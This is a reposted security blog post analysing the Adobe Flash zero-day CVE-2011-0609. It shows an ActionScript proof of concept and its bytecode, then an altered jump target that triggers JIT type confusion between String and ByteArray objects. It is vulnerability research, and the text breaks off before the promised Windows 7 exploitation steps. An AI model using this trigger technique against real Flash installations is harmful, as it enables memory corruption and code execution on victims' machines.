首页 > 安全资讯 >

Adobe Flash 0-Day (CVE-2011-0609)技术分析

11-04-12

Hi everyone, Back from holidays I was informed about a zero-day exploit (CVE-2011-0609) in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays! As we had a copy of the SWF malware

Hi everyone,

Back from holidays I was informed about a zero-day exploit (CVE-2011-0609) in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays!

As we had a copy of the SWF malware sample embedded in Excel files, it was a great opportunity to go deeper into Flashs JIT code and test recent Haifei Lis [1] methods to exploit Flash vulnerabilities on Windows 7 and to bypass ASLR/DEP via IEEE-754.

In this blog, we will share our binary analysis of the vulnerability and how we achieved a reliable exploitation on Windows 7 with ASLR/DEP bypass.

1. Technical Analysis of the Vulnerability

Based on crsenvironscan.xls and addLabel.swf spotted by Bugix [2], it was not that difficult to get a simplified repro. Actually, it seemed that the one who designed this exploit did not even care to simplify his proof-of-concept since more than 100 differences existed between the safe ABC section and the evil one.

After having loaded the FLA source used to compile addLabel.swf, we figured out that the root cause of the vulnerability came from an invalid jump location read from an if statement.

By specifically manipulating jump sequences in an Action Script byte code, it is possible to force the JIT code to do an "object confusion". Specifically, it is possible to generate a valid byte code in which the same property or method could be accessed by two different objects.

The following harmless code will be used to demonstrate the vulnerability:

package poc {

        public class safe {

                public function bla():ByteArray {
                        return new ByteArray();
                }

                public function safe() {
                        var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
                        t.length;
                }

        }
}
 


First of all, lets see how the AS3 is compiled:

function poc::safe():*
{
        0 getlocal0
        1 pushscope
        2 pushnull
        3 coerce flash.utils::ByteArray
        5 setlocal1
        6 pushnull
        7 coerce_s
        8 setlocal2
        9 getlocal0
        10 constructsuper (0)               // var tl:ByteArray
        12 pushbyte 1
        14 pushbyte 0
        16 ifne L1 //if (1 == 0)

        20 findpropstrict bla
        22 callproperty bla (0)
        25 coerce flash.utils::ByteArray // tl = bla()
        27 jump L2

        L1:
        31 pushbyte 1
        33 pushbyte 0
        35 ifne L3 //if (1 == 0)

        39 findpropstrict bla
        41 callproperty bla (0)
        44 coerce flash.utils::ByteArray // tl = bla()
        46 jump L2

        L3:
        50 findpropstrict bla
        52 callproperty bla (0)
        55 coerce flash.utils::ByteArray // tl = bla()

        L2:
        57 coerce flash.utils::ByteArray
        59 setlocal1
        60 pushstring "AAAAA&AAAA"
        62 setlocal2
        63 getlocal2
        64 getproperty length               // t.length
        66 pop
        67 returnvoid
}
 


As we can see, label L2 can only be reached after having executed "coerce flash.utils::ByteArray" which pushes a ByteArray object on the stack.

Now lets change the jump target at line 46 and make it point to line 62. This gives the following result:

39 findpropstrict bla
        41 callproperty bla (0)
        44 coerce flash.utils::ByteArray
        46 jump L4

        L3:
        50 findpropstrict bla
        52 callproperty bla (0)
        55 coerce flash.utils::ByteArray

        L2:
        57 coerce flash.utils::ByteArray
        59 setlocal1
        60 pushstring "AAAAA&AAAA"

        L4:
        62 setlocal2
        63 getlocal2
        64 getproperty length
        66 pop
        67 returnvoid
 


As we can see, if Flash reaches line 39, it pushes a "ByteArray" object on the stack and jumps to line 62 where it calls the "length" property. This modification is accepted by the Verifier since "String" and "ByteArray" objects share indeed a "length" property. This would have failed for example with the "ByteArray.endian" property since "String" objects do not implement such a property.

The atom confusion typically occurs here. The resulting JIT code to call the "length" property is actually designed for a "String" object, and not for a "ByteArray" object. Lets see now how "String" and "ByteArray" objects are represented in memory.

The "String" object represented on Figure 1 begins with a dword pointing to a VTable and contains a pointer to the string at offset +8. Notice also that its length is recorded at offset +10h:

热点推荐